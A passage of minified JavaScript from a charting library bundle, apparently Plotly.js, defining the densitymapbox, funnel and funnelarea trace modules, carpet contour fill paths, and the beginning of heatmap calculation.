O=_==="fill";O&&l(C,p.contours);var z=S.ensureSingle(A,"g","contourfill"),N=z.selectAll("path").data(O?C:[]);N.enter().append("path"),N.exit().remove(),N.each(function(G){var J=(G.prefixBoundary?F:"")+E(p,G,x,I,k,B,m,n);J?M.select(this).attr("d",J).style("stroke","none"):M.select(this).remove()})}function E(p,A,m,n,C,x,I,k){var B,_="",F=A.edgepaths.map(function(oe,re){return re}),O=!0,z,N,G,J,q,ne,fe=Math.abs(m[0][0]-m[2][0])*1e-4,X=Math.abs(m[0][1]-m[2][1])*1e-4;function W(oe){return Math.abs(oe[1]-m[0][1])<X}function V(oe){return Math.abs(oe[1]-m[2][1])<X}function Y(oe){return Math.abs(oe[0]-m[0][0])<fe}function Q(oe){return Math.abs(oe[0]-m[2][0])<fe}function ie(oe,re){var le,pe,we,xe,ke="";for(W(oe)&&!Q(oe)||V(oe)&&!Y(oe)?(xe=C.aaxis,we=s(C,x,[oe[0],re[0]],.5*(oe[1]+re[1]))):(xe=C.baxis,we=s(C,x,.5*(oe[0]+re[0]),[oe[1],re[1]])),le=1;le<we.length;le++)for(ke+=xe.smoothing?"C":"L",pe=0;pe<we[le].length;pe++){var _e=we[le][pe];ke+=[I.c2p(_e[0]),k.c2p(_e[1])]+" "}return ke}for(B=0,z=null;F.length;){var j=A.edgepaths[B][0];for(z&&(_+=ie(z,j)),ne=L.smoothopen(A.edgepaths[B].map(n),A.smoothing),_+=O?ne:ne.replace(/^M/,"L"),F.splice(F.indexOf(B),1),z=A.edgepaths[B][A.edgepaths[B].length-1],J=-1,G=0;G<4;G++){if(!z){S.log("Missing end?",B,A);break}for(W(z)&&!Q(z)?N=m[1]:Y(z)?N=m[0]:V(z)?N=m[3]:Q(z)&&(N=m[2]),q=0;q<A.edgepaths.length;q++){var K=A.edgepaths[q][0];Math.abs(z[0]-N[0])<fe?Math.abs(z[0]-K[0])<fe&&(K[1]-z[1])*(N[1]-K[1])>=0&&(N=K,J=q):Math.abs(z[1]-N[1])<X?Math.abs(z[1]-K[1])<X&&(K[0]-z[0])*(N[0]-K[0])>=0&&(N=K,J=q):S.log("endpt to newendpt is not vert. or horz.",z,N,K)}if(J>=0)break;_+=ie(z,N),z=N}if(J===A.edgepaths.length){S.log("unclosed perimeter path");break}B=J,O=F.indexOf(B)===-1,O&&(B=F[0],_+=ie(z,N)+"Z",z=null)}for(B=0;B<A.paths.length;B++)_+=L.smoothclosed(A.paths[B].map(n),A.smoothing);return _}},64096:function(te,Z,e){var M=e(50693),P=e(5386).fF,o=e(9012),L=e(99181),S=e(1426).extendFlat;te.exports=S({lon:L.lon,lat:L.lat,z:{valType:"data_array",editType:"calc"},radius:{valType:"number",editType:"plot",arrayOk:!0,min:1,dflt:30},below:{valType:"string",editType:"plot"},text:L.text,hovertext:L.hovertext,hoverinfo:S({},o.hoverinfo,{flags:["lon","lat","z","text","name"]}),hovertemplate:P(),showlegend:S({},o.showlegend,{dflt:!1})},M("",{cLetter:"z",editTypeOverride:"calc"}))},85070:function(te,Z,e){var M=e(92770),P=e(71828).isArrayOrTypedArray,o=e(50606).BADNUM,L=e(78803),S=e(71828)._;te.exports=function(g,t){for(var r=t._length,f=new Array(r),a=t.z,l=P(a)&&a.length,u=0;u<r;u++){var s=f[u]={},y=t.lon[u],c=t.lat[u];if(s.lonlat=M(y)&&M(c)?[+y,+c]:[o,o],l){var b=a[u];s.z=M(b)?b:o}}return L(g,t,{vals:l?a:[0,1],containerStr:"",cLetter:"z"}),r&&(f[0].t={labels:{lat:S(g,"lat:")+" ",lon:S(g,"lon:")+" "}}),f}},52414:function(te,Z,e){var M=e(92770),P=e(71828),o=e(7901),L=e(21081),S=e(50606).BADNUM,d=e(18214).makeBlank;te.exports=function(t){var r=t[0].trace,f=r.visible===!0&&r._length!==0,a={layout:{visibility:"none"},paint:{}},l=r._opts={heatmap:a,geojson:d()};if(!f)return l;var u=[],s,y=r.z,c=r.radius,b=P.isArrayOrTypedArray(y)&&y.length,h=P.isArrayOrTypedArray(c);for(s=0;s<t.length;s++){var i=t[s],v=i.lonlat;if(v[0]!==S){var T={};if(b){var w=i.z;T.z=w!==S?w:0}h&&(T.r=M(c[s])&&c[s]>0?+c[s]:0),u.push({type:"Feature",geometry:{type:"Point",coordinates:v},properties:T})}}var E=L.extractOpts(r),p=E.reversescale?L.flipScale(E.colorscale):E.colorscale,A=p[0][1],m=o.opacity(A)<1?A:o.addOpacity(A,0),n=["interpolate",["linear"],["heatmap-density"],0,m];for(s=1;s<p.length;s++)n.push(p[s][0],p[s][1]);var C=["interpolate",["linear"],["get","z"],E.min,0,E.max,1];return P.extendFlat(l.heatmap.paint,{"heatmap-weight":b?C:1/(E.max-E.min),"heatmap-color":n,"heatmap-radius":h?{type:"identity",property:"r"}:r.radius,"heatmap-opacity":r.opacity}),l.geojson={type:"FeatureCollection",features:u},l.heatmap.layout.visibility="visible",l}},79429:function(te,Z,e){var M=e(71828),P=e(1586),o=e(64096);te.exports=function(S,d,g,t){function r(u,s){return M.coerce(S,d,o,u,s)}var f=r("lon")||[],a=r("lat")||[],l=Math.min(f.length,a.length);if(!l){d.visible=!1;return}d._length=l,r("z"),r("radius"),r("below"),r("text"),r("hovertext"),r("hovertemplate"),P(S,d,t,r,{prefix:"",cLetter:"z"})}},62474:function(te){te.exports=function(e,M){return e.lon=M.lon,e.lat=M.lat,e.z=M.z,e}},84684:function(te,Z,e){var M=e(89298),P=e(28178).hoverPoints,o=e(28178).getExtraText;te.exports=function(S,d,g){var t=P(S,d,g);if(t){var r=t[0],f=r.cd,a=f[0].trace,l=f[r.index];if(delete r.color,"z"in l){var u=r.subplot.mockAxis;r.z=l.z,r.zLabel=M.tickText(u,u.c2l(l.z),"hover").text}return r.extraText=o(a,l,f[0].t.labels),[r]}}},93814:function(te,Z,e){te.exports={attributes:e(64096),supplyDefaults:e(79429),colorbar:e(61243),formatLabels:e(15636),calc:e(85070),plot:e(7336),hoverPoints:e(84684),eventData:e(62474),getBelow:function(M,P){for(var o=P.getMapLayers(),L=0;L<o.length;L++){var S=o[L],d=S.id;if(S.type==="symbol"&&typeof d=="string"&&d.indexOf("plotly-")===-1)return d}},moduleType:"trace",name:"densitymapbox",basePlotModule:e(50101),categories:["mapbox","gl","showLegend"],meta:{hr_name:"density_mapbox"}}},7336:function(te,Z,e){var M=e(52414),P=e(77734).traceLayerPrefix;function o(S,d){this.type="densitymapbox",this.subplot=S,this.uid=d,this.sourceId="source-"+d,this.layerList=[["heatmap",P+d+"-heatmap"]],this.below=null}var L=o.prototype;L.update=function(S){var d=this.subplot,g=this.layerList,t=M(S),r=d.belowLookup["trace-"+this.uid];d.map.getSource(this.sourceId).setData(t.geojson),r!==this.below&&(this._removeLayers(),this._addLayers(t,r),this.below=r);for(var f=0;f<g.length;f++){var a=g[f],l=a[0],u=a[1],s=t[l];d.setOptions(u,"setLayoutProperty",s.layout),s.layout.visibility==="visible"&&d.setOptions(u,"setPaintProperty",s.paint)}},L._addLayers=function(S,d){for(var g=this.subplot,t=this.layerList,r=this.sourceId,f=0;f<t.length;f++){var a=t[f],l=a[0],u=S[l];g.addLayer({type:l,id:a[1],source:r,layout:u.layout,paint:u.paint},d)}},L._removeLayers=function(){for(var S=this.subplot.map,d=this.layerList,g=d.length-1;g>=0;g--)S.removeLayer(d[g][1])},L.dispose=function(){var S=this.subplot.map;this._removeLayers(),S.removeSource(this.sourceId)},te.exports=function(d,g){var t=g[0].trace,r=new o(d,t.uid),f=r.sourceId,a=M(g),l=r.below=d.belowLookup["trace-"+t.uid];return d.map.addSource(f,{type:"geojson",data:a.geojson}),r._addLayers(a,l),r}},49789:function(te,Z,e){var M=e(71828);te.exports=function(o,L){for(var S=0;S<o.length;S++)o[S].i=S;M.mergeArray(L.text,o,"tx"),M.mergeArray(L.hovertext,o,"htx");var d=L.marker;if(d){M.mergeArray(d.opacity,o,"mo"),M.mergeArray(d.color,o,"mc");var g=d.line;g&&(M.mergeArray(g.color,o,"mlc"),M.mergeArrayCastPositive(g.width,o,"mlw"))}}},1285:function(te,Z,e){var M=e(1486),P=e(82196).line,o=e(9012),L=e(12663).axisHoverFormat,S=e(5386).fF,d=e(5386).si,g=e(18517),t=e(1426).extendFlat,r=e(7901);te.exports={x:M.x,x0:M.x0,dx:M.dx,y:M.y,y0:M.y0,dy:M.dy,xperiod:M.xperiod,yperiod:M.yperiod,xperiod0:M.xperiod0,yperiod0:M.yperiod0,xperiodalignment:M.xperiodalignment,yperiodalignment:M.yperiodalignment,xhoverformat:L("x"),yhoverformat:L("y"),hovertext:M.hovertext,hovertemplate:S({},{keys:g.eventDataKeys}),hoverinfo:t({},o.hoverinfo,{flags:["name","x","y","text","percent initial","percent previous","percent total"]}),textinfo:{valType:"flaglist",flags:["label","text","percent initial","percent previous","percent total","value"],extras:["none"],editType:"plot",arrayOk:!1},texttemplate:d({editType:"plot"},{keys:g.eventDataKeys.concat(["label","value"])}),text:M.text,textposition:M.textposition,insidetextanchor:t({},M.insidetextanchor,{dflt:"middle"}),textangle:t({},M.textangle,{dflt:0}),textfont:M.textfont,insidetextfont:M.insidetextfont,outsidetextfont:M.outsidetextfont,constraintext:M.constraintext,cliponaxis:M.cliponaxis,orientation:t({},M.orientation,{}),offset:t({},M.offset,{arrayOk:!1}),width:t({},M.width,{arrayOk:!1}),marker:f(),connector:{fillcolor:{valType:"color",editType:"style"},line:{color:t({},P.color,{dflt:r.defaultLine}),width:t({},P.width,{dflt:0,editType:"plot"}),dash:P.dash,editType:"style"},visible:{valType:"boolean",dflt:!0,editType:"plot"},editType:"plot"},offsetgroup:M.offsetgroup,alignmentgroup:M.alignmentgroup};function f(){var a=t({},M.marker);return delete a.pattern,a}},9532:function(te,Z,e){var M=e(89298),P=e(42973),o=e(49789),L=e(66279),S=e(50606).BADNUM;te.exports=function(t,r){var f=M.getFromId(t,r.xaxis||"x"),a=M.getFromId(t,r.yaxis||"y"),l,u,s,y,c,b,h,i;r.orientation==="h"?(l=f.makeCalcdata(r,"x"),s=a.makeCalcdata(r,"y"),y=P(r,a,"y",s),c=!!r.yperiodalignment,b="y"):(l=a.makeCalcdata(r,"y"),s=f.makeCalcdata(r,"x"),y=P(r,f,"x",s),c=!!r.xperiodalignment,b="x"),u=y.vals;var v=Math.min(u.length,l.length),T=new Array(v);for(r._base=[],h=0;h<v;h++){l[h]<0&&(l[h]=S);var w=!1;l[h]!==S&&h+1<v&&l[h+1]!==S&&(w=!0),i=T[h]={p:u[h],s:l[h],cNext:w},r._base[h]=-.5*i.s,c&&(T[h].orig_p=s[h],T[h][b+"End"]=y.ends[h],T[h][b+"Start"]=y.starts[h]),r.ids&&(i.id=String(r.ids[h])),h===0&&(T[0].vTotal=0),T[0].vTotal+=d(i.s),i.begR=d(i.s)/d(T[0].s)}var E;for(h=0;h<v;h++)i=T[h],i.s!==S&&(i.sumR=i.s/T[0].vTotal,i.difR=E!==void 0?i.s/E:1,E=i.s);return o(T,r),L(T,r),T};function d(g){return g===S?0:g}},18517:function(te){te.exports={eventDataKeys:["percentInitial","percentPrevious","percentTotal"]}},8984:function(te,Z,e){var M=e(11661).setGroupPositions;te.exports=function(o,L){var S=o._fullLayout,d=o._fullData,g=o.calcdata,t=L.xaxis,r=L.yaxis,f=[],a=[],l=[],u,s;for(s=0;s<d.length;s++){var y=d[s],c=y.orientation==="h";y.visible===!0&&y.xaxis===t._id&&y.yaxis===r._id&&y.type==="funnel"&&(u=g[s],c?l.push(u):a.push(u),f.push(u))}var b={mode:S.funnelmode,norm:S.funnelnorm,gap:S.funnelgap,groupgap:S.funnelgroupgap};for(M(o,t,r,a,b),M(o,r,t,l,b),s=0;s<f.length;s++){u=f[s];for(var h=0;h<u.length;h++)h+1<u.length&&(u[h].nextP0=u[h+1].p0,u[h].nextS0=u[h+1].s0,u[h].nextP1=u[h+1].p1,u[h].nextS1=u[h+1].s1)}}},26199:function(te,Z,e){var M=e(71828),P=e(26125),o=e(90769).handleText,L=e(67513),S=e(73927),d=e(1285),g=e(7901);function t(a,l,u,s){function y(w,E){return M.coerce(a,l,d,w,E)}var c=L(a,l,s,y);if(!c){l.visible=!1;return}S(a,l,s,y),y("xhoverformat"),y("yhoverformat"),y("orientation",l.y&&!l.x?"v":"h"),y("offset"),y("width");var b=y("text");y("hovertext"),y("hovertemplate");var h=y("textposition");o(a,l,s,y,h,{moduleHasSelected:!1,moduleHasUnselected:!1,moduleHasConstrain:!0,moduleHasCliponaxis:!0,moduleHasTextangle:!0,moduleHasInsideanchor:!0}),l.textposition!=="none"&&!l.texttemplate&&y("textinfo",Array.isArray(b)?"text+value":"value");var i=y("marker.color",u);y("marker.line.color",g.defaultLine),y("marker.line.width");var v=y("connector.visible");if(v){y("connector.fillcolor",r(i));var T=y("connector.line.width");T&&(y("connector.line.color"),y("connector.line.dash"))}}function r(a){var l=M.isArrayOrTypedArray(a)?"#000":a;return g.addOpacity(l,.5*g.opacity(l))}function f(a,l){var u,s;function y(b){return M.coerce(s._input,s,d,b)}if(l.funnelmode==="group")for(var c=0;c<a.length;c++)s=a[c],u=s._input,P(u,s,l,y)}te.exports={supplyDefaults:t,crossTraceDefaults:f}},34598:function(te){te.exports=function(e,M){return e.x="xVal"in M?M.xVal:M.x,e.y="yVal"in M?M.yVal:M.y,"percentInitial"in M&&(e.percentInitial=M.percentInitial),"percentPrevious"in M&&(e.percentPrevious=M.percentPrevious),"percentTotal"in M&&(e.percentTotal=M.percentTotal),M.xa&&(e.xaxis=M.xa),M.ya&&(e.yaxis=M.ya),e}},63341:function(te,Z,e){var M=e(7901).opacity,P=e(95423).hoverOnBars,o=e(71828).formatPercent;te.exports=function(d,g,t,r,f){var a=P(d,g,t,r,f);if(a){var l=a.cd,u=l[0].trace,s=u.orientation==="h",y=a.index,c=l[y],b=s?"x":"y";a[b+"LabelVal"]=c.s,a.percentInitial=c.begR,a.percentInitialLabel=o(c.begR,1),a.percentPrevious=c.difR,a.percentPreviousLabel=o(c.difR,1),a.percentTotal=c.sumR,a.percentTotalLabel=o(c.sumR,1);var h=c.hi||u.hoverinfo,i=[];if(h&&h!=="none"&&h!=="skip"){var v=h==="all",T=h.split("+"),w=function(E){return v||T.indexOf(E)!==-1};w("percent initial")&&i.push(a.percentInitialLabel+" of initial"),w("percent previous")&&i.push(a.percentPreviousLabel+" of previous"),w("percent total")&&i.push(a.percentTotalLabel+" of total")}return a.extraText=i.join("<br>"),a.color=L(u,c),[a]}};function L(S,d){var g=S.marker,t=d.mc||g.color,r=d.mlc||g.line.color,f=d.mlw||g.line.width;if(M(t))return t;if(M(r)&&f)return r}},51759:function(te,Z,e){te.exports={attributes:e(1285),layoutAttributes:e(10440),supplyDefaults:e(26199).supplyDefaults,crossTraceDefaults:e(26199).crossTraceDefaults,supplyLayoutDefaults:e(93138),calc:e(9532),crossTraceCalc:e(8984),plot:e(80461),style:e(68266).style,hoverPoints:e(63341),eventData:e(34598),selectPoints:e(81974),moduleType:"trace",name:"funnel",basePlotModule:e(93612),categories:["bar-like","cartesian","svg","oriented","showLegend","zoomScale"],meta:{}}},10440:function(te){te.exports={funnelmode:{valType:"enumerated",values:["stack","group","overlay"],dflt:"stack",editType:"calc"},funnelgap:{valType:"number",min:0,max:1,editType:"calc"},funnelgroupgap:{valType:"number",min:0,max:1,dflt:0,editType:"calc"}}},93138:function(te,Z,e){var M=e(71828),P=e(10440);te.exports=function(o,L,S){var d=!1;function g(f,a){return M.coerce(o,L,P,f,a)}for(var t=0;t<S.length;t++){var r=S[t];if(r.visible&&r.type==="funnel"){d=!0;break}}d&&(g("funnelmode"),g("funnelgap",.2),g("funnelgroupgap"))}},80461:function(te,Z,e){var M=e(39898),P=e(71828),o=e(91424),L=e(50606).BADNUM,S=e(17295),d=e(72597).clearMinTextSize;te.exports=function(a,l,u,s){var y=a._fullLayout;d("funnel",y),g(a,l,u,s),t(a,l,u,s),S.plot(a,l,u,s,{mode:y.funnelmode,norm:y.funnelmode,gap:y.funnelgap,groupgap:y.funnelgroupgap})};function g(f,a,l,u){var s=a.xaxis,y=a.yaxis;P.makeTraceGroups(u,l,"trace bars").each(function(c){var b=M.select(this),h=c[0].trace,i=P.ensureSingle(b,"g","regions");if(!h.connector||!h.connector.visible){i.remove();return}var v=h.orientation==="h",T=i.selectAll("g.region").data(P.identity);T.enter().append("g").classed("region",!0),T.exit().remove();var w=T.size();T.each(function(E,p){if(!(p!==w-1&&!E.cNext)){var A=r(E,s,y,v),m=A[0],n=A[1],C="";m[0]!==L&&n[0]!==L&&m[1]!==L&&n[1]!==L&&m[2]!==L&&n[2]!==L&&m[3]!==L&&n[3]!==L&&(v?C+="M"+m[0]+","+n[1]+"L"+m[2]+","+n[2]+"H"+m[3]+"L"+m[1]+","+n[1]+"Z":C+="M"+m[1]+","+n[1]+"L"+m[2]+","+n[3]+"V"+n[2]+"L"+m[1]+","+n[0]+"Z"),C===""&&(C="M0,0Z"),P.ensureSingle(M.select(this),"path").attr("d",C).call(o.setClipUrl,a.layerClipId,f)}})})}function t(f,a,l,u){var s=a.xaxis,y=a.yaxis;P.makeTraceGroups(u,l,"trace bars").each(function(c){var b=M.select(this),h=c[0].trace,i=P.ensureSingle(b,"g","lines");if(!h.connector||!h.connector.visible||!h.connector.line.width){i.remove();return}var v=h.orientation==="h",T=i.selectAll("g.line").data(P.identity);T.enter().append("g").classed("line",!0),T.exit().remove();var w=T.size();T.each(function(E,p){if(!(p!==w-1&&!E.cNext)){var A=r(E,s,y,v),m=A[0],n=A[1],C="";m[3]!==void 0&&n[3]!==void 0&&(v?(C+="M"+m[0]+","+n[1]+"L"+m[2]+","+n[2],C+="M"+m[1]+","+n[1]+"L"+m[3]+","+n[2]):(C+="M"+m[1]+","+n[1]+"L"+m[2]+","+n[3],C+="M"+m[1]+","+n[0]+"L"+m[2]+","+n[2])),C===""&&(C="M0,0Z"),P.ensureSingle(M.select(this),"path").attr("d",C).call(o.setClipUrl,a.layerClipId,f)}})})}function r(f,a,l,u){var s=[],y=[],c=u?a:l,b=u?l:a;return s[0]=c.c2p(f.s0,!0),y[0]=b.c2p(f.p0,!0),s[1]=c.c2p(f.s1,!0),y[1]=b.c2p(f.p1,!0),s[2]=c.c2p(f.nextS0,!0),y[2]=b.c2p(f.nextP0,!0),s[3]=c.c2p(f.nextS1,!0),y[3]=b.c2p(f.nextP1,!0),u?[s,y]:[y,s]}},68266:function(te,Z,e){var M=e(39898),P=e(91424),o=e(7901),L=e(37822).DESELECTDIM,S=e(16688),d=e(72597).resizeText,g=S.styleTextPoints;function t(r,f,a){var l=a||M.select(r).selectAll("g.funnellayer").selectAll("g.trace");d(r,l,"funnel"),l.style("opacity",function(u){return u[0].trace.opacity}),l.each(function(u){var s=M.select(this),y=u[0].trace;s.selectAll(".point > path").each(function(c){if(!c.isBlank){var b=y.marker;M.select(this).call(o.fill,c.mc||b.color).call(o.stroke,c.mlc||b.line.color).call(P.dashLine,b.line.dash,c.mlw||b.line.width).style("opacity",y.selectedpoints&&!c.selected?L:1)}}),g(s,y,r),s.selectAll(".regions").each(function(){M.select(this).selectAll("path").style("stroke-width",0).call(o.fill,y.connector.fillcolor)}),s.selectAll(".lines").each(function(){var c=y.connector.line;P.lineGroupStyle(M.select(this).selectAll("path"),c.width,c.color,c.dash)})})}te.exports={style:t}},86807:function(te,Z,e){var M=e(34e3),P=e(9012),o=e(27670).Y,L=e(5386).fF,S=e(5386).si,d=e(1426).extendFlat;te.exports={labels:M.labels,label0:M.label0,dlabel:M.dlabel,values:M.values,marker:{colors:M.marker.colors,line:{color:d({},M.marker.line.color,{dflt:null}),width:d({},M.marker.line.width,{dflt:1}),editType:"calc"},pattern:M.marker.pattern,editType:"calc"},text:M.text,hovertext:M.hovertext,scalegroup:d({},M.scalegroup,{}),textinfo:d({},M.textinfo,{flags:["label","text","value","percent"]}),texttemplate:S({editType:"plot"},{keys:["label","color","value","text","percent"]}),hoverinfo:d({},P.hoverinfo,{flags:["label","text","value","percent","name"]}),hovertemplate:L({},{keys:["label","color","value","text","percent"]}),textposition:d({},M.textposition,{values:["inside","none"],dflt:"inside"}),textfont:M.textfont,insidetextfont:M.insidetextfont,title:{text:M.title.text,font:M.title.font,position:d({},M.title.position,{values:["top left","top center","top right"],dflt:"top center"}),editType:"plot"},domain:o({name:"funnelarea",trace:!0,editType:"calc"}),aspectratio:{valType:"number",min:0,dflt:1,editType:"plot"},baseratio:{valType:"number",min:0,max:1,dflt:.333,editType:"plot"}}},6452:function(te,Z,e){var M=e(74875);Z.name="funnelarea",Z.plot=function(P,o,L,S){M.plotBasePlot(Z.name,P,o,L,S)},Z.clean=function(P,o,L,S){M.cleanBasePlot(Z.name,P,o,L,S)}},89574:function(te,Z,e){var M=e(32354);function P(L,S){return M.calc(L,S)}function o(L){M.crossTraceCalc(L,{type:"funnelarea"})}te.exports={calc:P,crossTraceCalc:o}},86282:function(te,Z,e){var M=e(71828),P=e(86807),o=e(27670).c,L=e(90769).handleText,S=e(37434).handleLabelsAndValues,d=e(37434).handleMarkerDefaults;te.exports=function(t,r,f,a){function l(w,E){return M.coerce(t,r,P,w,E)}var u=l("labels"),s=l("values"),y=S(u,s),c=y.len;if(r._hasLabels=y.hasLabels,r._hasValues=y.hasValues,!r._hasLabels&&r._hasValues&&(l("label0"),l("dlabel")),!c){r.visible=!1;return}r._length=c,d(t,r,a,l),l("scalegroup");var b=l("text"),h=l("texttemplate"),i;if(h||(i=l("textinfo",Array.isArray(b)?"text+percent":"percent")),l("hovertext"),l("hovertemplate"),h||i&&i!=="none"){var v=l("textposition");L(t,r,a,l,v,{moduleHasSelected:!1,moduleHasUnselected:!1,moduleHasConstrain:!1,moduleHasCliponaxis:!1,moduleHasTextangle:!1,moduleHasInsideanchor:!1})}o(r,a,l);var T=l("title.text");T&&(l("title.position"),M.coerceFont(l,"title.font",a.font)),l("aspectratio"),l("baseratio")}},10421:function(te,Z,e){te.exports={moduleType:"trace",name:"funnelarea",basePlotModule:e(6452),categories:["pie-like","funnelarea","showLegend"],attributes:e(86807),layoutAttributes:e(80097),supplyDefaults:e(86282),supplyLayoutDefaults:e(57402),calc:e(89574).calc,crossTraceCalc:e(89574).crossTraceCalc,plot:e(79187),style:e(71858),styleOne:e(63463),meta:{}}},80097:function(te,Z,e){var M=e(92774).hiddenlabels;te.exports={hiddenlabels:M,funnelareacolorway:{valType:"colorlist",editType:"calc"},extendfunnelareacolors:{valType:"boolean",dflt:!0,editType:"calc"}}},57402:function(te,Z,e){var M=e(71828),P=e(80097);te.exports=function(L,S){function d(g,t){return M.coerce(L,S,P,g,t)}d("hiddenlabels"),d("funnelareacolorway",S.colorway),d("extendfunnelareacolors")}},79187:function(te,Z,e){var M=e(39898),P=e(91424),o=e(71828),L=o.strScale,S=o.strTranslate,d=e(63893),g=e(17295),t=g.toMoveInsideBar,r=e(72597),f=r.recordMinTextSize,a=r.clearMinTextSize,l=e(53581),u=e(14575),s=u.attachFxHandlers,y=u.determineInsideTextFont,c=u.layoutAreas,b=u.prerenderTitles,h=u.positionTitleOutside,i=u.formatSliceLabel;te.exports=function(p,A){var m=p._context.staticPlot,n=p._fullLayout;a("funnelarea",n),b(A,p),c(A,n._size),o.makeTraceGroups(n._funnelarealayer,A,"trace").each(function(C){var x=M.select(this),I=C[0],k=I.trace;w(C),x.each(function(){var B=M.select(this).selectAll("g.slice").data(C);B.enter().append("g").classed("slice",!0),B.exit().remove(),B.each(function(F,O){if(F.hidden){M.select(this).selectAll("path,g").remove();return}F.pointNumber=F.i,F.curveNumber=k.index;var z=I.cx,N=I.cy,G=M.select(this),J=G.selectAll("path.surface").data([F]);J.enter().append("path").classed("surface",!0).style({"pointer-events":m?"none":"all"}),G.call(s,p,C);var q="M"+(z+F.TR[0])+","+(N+F.TR[1])+v(F.TR,F.BR)+v(F.BR,F.BL)+v(F.BL,F.TL)+"Z";J.attr("d",q),i(p,F,I);var ne=l.castOption(k.textposition,F.pts),fe=G.selectAll("g.slicetext").data(F.text&&ne!=="none"?[0]:[]);fe.enter().append("g").classed("slicetext",!0),fe.exit().remove(),fe.each(function(){var X=o.ensureSingle(M.select(this),"text","",function(oe){oe.attr("data-notex",1)}),W=o.ensureUniformFontSize(p,y(k,F,n.font));X.text(F.text).attr({class:"slicetext",transform:"","text-anchor":"middle"}).call(P.font,W).call(d.convertToTspans,p);var V=P.bBox(X.node()),Y,Q,ie,j=Math.min(F.BL[1],F.BR[1])+N,K=Math.max(F.TL[1],F.TR[1])+N;Q=Math.max(F.TL[0],F.BL[0])+z,ie=Math.min(F.TR[0],F.BR[0])+z,Y=t(Q,ie,j,K,V,{isHorizontal:!0,constrained:!0,angle:0,anchor:"middle"}),Y.fontSize=W.size,f(k.type,Y,n),C[O].transform=Y,o.setTransormAndDisplay(X,Y)})});var _=M.select(this).selectAll("g.titletext").data(k.title.text?[0]:[]);_.enter().append("g").classed("titletext",!0),_.exit().remove(),_.each(function(){var F=o.ensureSingle(M.select(this),"text","",function(N){N.attr("data-notex",1)}),O=k.title.text;k._meta&&(O=o.templateString(O,k._meta)),F.text(O).attr({class:"titletext",transform:"","text-anchor":"middle"}).call(P.font,k.title.font).call(d.convertToTspans,p);var z=h(I,n._size);F.attr("transform",S(z.x,z.y)+L(Math.min(1,z.scale))+S(z.tx,z.ty))})})})};function v(E,p){var A=p[0]-E[0],m=p[1]-E[1];return"l"+A+","+m}function T(E,p){return[.5*(E[0]+p[0]),.5*(E[1]+p[1])]}function w(E){if(!E.length)return;var p=E[0],A=p.trace,m=A.aspectratio,n=A.baseratio;n>.999&&(n=.999);var C=Math.pow(n,2),x=p.vTotal,I=x*C/(1-C),k=x,B=I/x;function _(){var re=Math.sqrt(B);return{x:re,y:-re}}function F(){var re=_();return[re.x,re.y]}var O,z=[];z.push(F());var N,G;for(N=E.length-1;N>-1;N--)if(G=E[N],!G.hidden){var J=G.v/k;B+=J,z.push(F())}var q=1/0,ne=-1/0;for(N=0;N<z.length;N++)O=z[N],q=Math.min(q,O[1]),ne=Math.max(ne,O[1]);for(N=0;N<z.length;N++)z[N][1]-=(ne+q)/2;var fe=z[z.length-1][0],X=p.r,W=(ne-q)/2,V=X/fe,Y=X/W*m;for(p.r=Y*W,N=0;N<z.length;N++)z[N][0]*=V,z[N][1]*=Y;O=z[0];var Q=[-O[0],O[1]],ie=[O[0],O[1]],j=0;for(N=E.length-1;N>-1;N--)if(G=E[N],!G.hidden){j+=1;var K=z[j][0],oe=z[j][1];G.TL=[-K,oe],G.TR=[K,oe],G.BL=Q,G.BR=ie,G.pxmid=T(G.TR,G.BR),Q=G.TL,ie=G.TR}}},71858:function(te,Z,e){var M=e(39898),P=e(63463),o=e(72597).resizeText;te.exports=function(S){var d=S._fullLayout._funnelarealayer.selectAll(".trace");o(S,d,"funnelarea"),d.each(function(g){var t=g[0],r=t.trace,f=M.select(this);f.style({opacity:r.opacity}),f.selectAll("path.surface").each(function(a){M.select(this).call(P,a,r,S)})})}},21606:function(te,Z,e){var M=e(82196),P=e(9012),o=e(41940),L=e(12663).axisHoverFormat,S=e(5386).fF,d=e(5386).si,g=e(50693),t=e(1426).extendFlat;te.exports=t({z:{valType:"data_array",editType:"calc"},x:t({},M.x,{impliedEdits:{xtype:"array"}}),x0:t({},M.x0,{impliedEdits:{xtype:"scaled"}}),dx:t({},M.dx,{impliedEdits:{xtype:"scaled"}}),y:t({},M.y,{impliedEdits:{ytype:"array"}}),y0:t({},M.y0,{impliedEdits:{ytype:"scaled"}}),dy:t({},M.dy,{impliedEdits:{ytype:"scaled"}}),xperiod:t({},M.xperiod,{impliedEdits:{xtype:"scaled"}}),yperiod:t({},M.yperiod,{impliedEdits:{ytype:"scaled"}}),xperiod0:t({},M.xperiod0,{impliedEdits:{xtype:"scaled"}}),yperiod0:t({},M.yperiod0,{impliedEdits:{ytype:"scaled"}}),xperiodalignment:t({},M.xperiodalignment,{impliedEdits:{xtype:"scaled"}}),yperiodalignment:t({},M.yperiodalignment,{impliedEdits:{ytype:"scaled"}}),text:{valType:"data_array",editType:"calc"},hovertext:{valType:"data_array",editType:"calc"},transpose:{valType:"boolean",dflt:!1,editType:"calc"},xtype:{valType:"enumerated",values:["array","scaled"],editType:"calc+clearAxisTypes"},ytype:{valType:"enumerated",values:["array","scaled"],editType:"calc+clearAxisTypes"},zsmooth:{valType:"enumerated",values:["fast","best",!1],dflt:!1,editType:"calc"},hoverongaps:{valType:"boolean",dflt:!0,editType:"none"},connectgaps:{valType:"boolean",editType:"calc"},xgap:{valType:"number",dflt:0,min:0,editType:"plot"},ygap:{valType:"number",dflt:0,min:0,editType:"plot"},xhoverformat:L("x"),yhoverformat:L("y"),zhoverformat:L("z",1),hovertemplate:S(),texttemplate:d({arrayOk:!1,editType:"plot"},{keys:["x","y","z","text"]}),textfont:o({editType:"plot",autoSize:!0,autoColor:!0,colorEditType:"style"}),showlegend:t({},P.showlegend,{dflt:!1})},{transforms:void 0},g("",{cLetter:"z",autoColorDflt:!1}))},90757:function(te,Z,e){var M=e(73972),P=e(71828),o=e(89298),L=e(42973),S=e(17562),d=e(78803),g=e(68296),t=e(4742),r=e(824),f=e(43907),a=e(70769),l=e(50606).BADNUM;te.exports=function(c,b){var h=o.getFromId(c,b.xaxis||"x"),i=o.getFromId(c,b.yaxis||"y"),v=M.traceIs(b,"contour"),T=M.traceIs(b,"histogram"),w=M.traceIs(b,"gl2d"),E=v?"best":b.zsmooth,p,A,m,n,C,x,I,k,B,_,F;if(h._minDtick=0,i._minDtick=0,T)F=S(c,b),n=F.orig_x,p=F.x,A=F.x0,m=F.dx,k=F.orig_y,C=F.y,x=F.y0,I=F.dy,B=F.z;else{var 